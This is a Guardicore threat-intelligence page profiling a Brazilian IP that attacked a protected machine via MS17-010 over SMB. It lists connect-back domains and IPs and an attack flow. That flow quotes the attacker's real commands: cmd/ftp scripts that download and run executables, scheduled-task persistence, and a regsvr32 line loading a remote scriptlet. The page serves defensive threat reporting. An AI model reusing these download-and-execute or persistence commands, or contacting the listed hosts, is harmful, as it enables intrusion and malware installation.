IP Address: 201.55.91.6Malicious

Weekly Summary

Browse or download a weekly review of our cyber threat intelligence data and gain more insight to help protect your network

Top Threats

Cyber Threat Intelligence

Discover Malicious IPs and Domains with Guardicore Cyber Threat Feed

IP Address:
201.55.91.6​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

SMB MSSQL

Tags

Service Configuration IDS - Attempted Administrator Privilege Gain Scheduled Task Creation PowerShell Download and Execute CMD SMB Persistency - Logon System File Modification IDS - A Network Trojan was detected SMB Null Session Login File Operation By CMD Access Suspicious Domain Known Malware DNS Query Outgoing Connection Service Start Listening MS17-010

Connect Back Servers

js.1226bye.xyz yancy.pw down.1226bye.pw gamesoxalic.com grinknowledge.com js.1226bye.pw

23.236.69.114 66.117.6.174 173.247.239.186 173.208.172.202 199.168.100.74 167.88.180.175 139.5.177.32

Basic Information

IP Address

201.55.91.6

Domain

-

ISP

Brasilsite Telecomunicações Ltda.

Country

Brazil

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-07-14

Last seen in Guardicore Centra

2019-12-24

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

The machine was exploited using the ms17-010 vulnerability

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 139.5.177.32:8032, 167.88.180.175:8175, 173.247.239.186:8186, 173.247.239.186:9999 and 199.168.100.74:8074

Outgoing Connection

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Service msiserver was started

Service Start

The command line cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

The command line cmd /c start c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

c:\windows\system32\reg.exe set the command line regsvr32 /u /s /i:http://js.ftp1202.site:280/v.sct scrobj.dll to run using Persistency - Logon

Persistency - Logon

The file C:\Windows\System32\a2.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: yancy.pw

Access Suspicious Domain Outgoing Connection

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832 3 times

Listening

The file C:\Windows\Inf\winnts.exe was downloaded and executed

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

The file C:\Windows\Inf\aspnet\u.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\aspnet\u.exe generated outgoing network traffic to: 23.236.69.114:8114

Outgoing Connection

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

The file C:\Windows\Inf\aspnet\lsma12.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz

DNS Query Access Suspicious Domain

Connection was closed due to user inactivity

Oops! - Do you see your IP here? Contact us at labs@guardicore.com to remove it from the Threat Intelligence data.

IP Address: 201.55.91.6​Malicious